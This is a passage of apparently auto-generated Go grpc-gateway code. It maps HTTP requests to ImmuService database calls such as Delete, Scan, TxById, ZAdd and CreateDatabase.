*http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq DeleteKeysRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.Delete(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_Delete_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq DeleteKeysRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.Delete(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_GetAll_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq KeyListRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.GetAll(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_GetAll_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq KeyListRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.GetAll(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_ExecAll_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq ExecAllRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.ExecAll(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_ExecAll_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq ExecAllRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.ExecAll(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_Scan_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq ScanRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.Scan(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_Scan_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq ScanRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.Scan(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_Count_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq KeyPrefix\n\tvar metadata runtime.ServerMetadata\n\n\tvar (\n\t\tval string\n\t\tok  bool\n\t\terr error\n\t\t_   = err\n\t)\n\n\tval, ok = pathParams[\"prefix\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"prefix\")\n\t}\n\n\tprotoReq.Prefix, err = runtime.Bytes(val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"prefix\", err)\n\t}\n\n\tmsg, err := client.Count(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_Count_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq KeyPrefix\n\tvar metadata runtime.ServerMetadata\n\n\tvar (\n\t\tval string\n\t\tok  bool\n\t\terr error\n\t\t_   = err\n\t)\n\n\tval, ok = pathParams[\"prefix\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"prefix\")\n\t}\n\n\tprotoReq.Prefix, err = runtime.Bytes(val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"prefix\", err)\n\t}\n\n\tmsg, err := server.Count(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_CountAll_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq emptypb.Empty\n\tvar metadata runtime.ServerMetadata\n\n\tmsg, err := client.CountAll(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_CountAll_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq emptypb.Empty\n\tvar metadata runtime.ServerMetadata\n\n\tmsg, err := server.CountAll(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nvar (\n\tfilter_ImmuService_TxById_0 = &utilities.DoubleArray{Encoding: map[string]int{\"tx\": 0}, Base: []int{1, 1, 0}, Check: []int{0, 1, 2}}\n)\n\nfunc request_ImmuService_TxById_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq TxRequest\n\tvar metadata runtime.ServerMetadata\n\n\tvar (\n\t\tval string\n\t\tok  bool\n\t\terr error\n\t\t_   = err\n\t)\n\n\tval, ok = pathParams[\"tx\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"tx\")\n\t}\n\n\tprotoReq.Tx, err = runtime.Uint64(val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"tx\", err)\n\t}\n\n\tif err := req.ParseForm(); err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\tif err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_ImmuService_TxById_0); err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.TxById(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_TxById_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq TxRequest\n\tvar metadata runtime.ServerMetadata\n\n\tvar (\n\t\tval string\n\t\tok  bool\n\t\terr error\n\t\t_   = err\n\t)\n\n\tval, ok = pathParams[\"tx\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"tx\")\n\t}\n\n\tprotoReq.Tx, err = runtime.Uint64(val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"tx\", err)\n\t}\n\n\tif err := req.ParseForm(); err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\tif err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_ImmuService_TxById_0); err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.TxById(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nvar (\n\tfilter_ImmuService_VerifiableTxById_0 = &utilities.DoubleArray{Encoding: map[string]int{\"tx\": 0}, Base: []int{1, 1, 0}, Check: []int{0, 1, 2}}\n)\n\nfunc request_ImmuService_VerifiableTxById_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq VerifiableTxRequest\n\tvar metadata runtime.ServerMetadata\n\n\tvar (\n\t\tval string\n\t\tok  bool\n\t\terr error\n\t\t_   = err\n\t)\n\n\tval, ok = pathParams[\"tx\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"tx\")\n\t}\n\n\tprotoReq.Tx, err = runtime.Uint64(val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"tx\", err)\n\t}\n\n\tif err := req.ParseForm(); err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\tif err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_ImmuService_VerifiableTxById_0); err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.VerifiableTxById(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_VerifiableTxById_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq VerifiableTxRequest\n\tvar metadata runtime.ServerMetadata\n\n\tvar (\n\t\tval string\n\t\tok  bool\n\t\terr error\n\t\t_   = err\n\t)\n\n\tval, ok = pathParams[\"tx\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"tx\")\n\t}\n\n\tprotoReq.Tx, err = runtime.Uint64(val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"tx\", err)\n\t}\n\n\tif err := req.ParseForm(); err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\tif err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_ImmuService_VerifiableTxById_0); err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.VerifiableTxById(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_TxScan_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq TxScanRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.TxScan(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_TxScan_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq TxScanRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.TxScan(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_History_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq HistoryRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.History(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_History_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq HistoryRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.History(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_ServerInfo_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq ServerInfoRequest\n\tvar metadata runtime.ServerMetadata\n\n\tmsg, err := client.ServerInfo(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_ServerInfo_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq ServerInfoRequest\n\tvar metadata runtime.ServerMetadata\n\n\tmsg, err := server.ServerInfo(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_Health_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq emptypb.Empty\n\tvar metadata runtime.ServerMetadata\n\n\tmsg, err := client.Health(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_Health_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq emptypb.Empty\n\tvar metadata runtime.ServerMetadata\n\n\tmsg, err := server.Health(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_DatabaseHealth_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq emptypb.Empty\n\tvar metadata runtime.ServerMetadata\n\n\tmsg, err := client.DatabaseHealth(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_DatabaseHealth_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq emptypb.Empty\n\tvar metadata runtime.ServerMetadata\n\n\tmsg, err := server.DatabaseHealth(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_CurrentState_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq emptypb.Empty\n\tvar metadata runtime.ServerMetadata\n\n\tmsg, err := client.CurrentState(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_CurrentState_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq emptypb.Empty\n\tvar metadata runtime.ServerMetadata\n\n\tmsg, err := server.CurrentState(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_SetReference_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq ReferenceRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.SetReference(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_SetReference_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq ReferenceRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.SetReference(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_VerifiableSetReference_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq VerifiableReferenceRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.VerifiableSetReference(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_VerifiableSetReference_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq VerifiableReferenceRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.VerifiableSetReference(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_ZAdd_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq ZAddRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.ZAdd(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_ZAdd_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq ZAddRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.ZAdd(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_VerifiableZAdd_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq VerifiableZAddRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.VerifiableZAdd(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_VerifiableZAdd_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq VerifiableZAddRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.VerifiableZAdd(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_ZScan_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq ZScanRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.ZScan(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_ZScan_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq ZScanRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.ZScan(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_CreateDatabase_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq Database\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.CreateDatabase(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_CreateDatabase_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq Database\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.CreateDatabase(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_CreateDatabaseWith_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq DatabaseSettings\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, 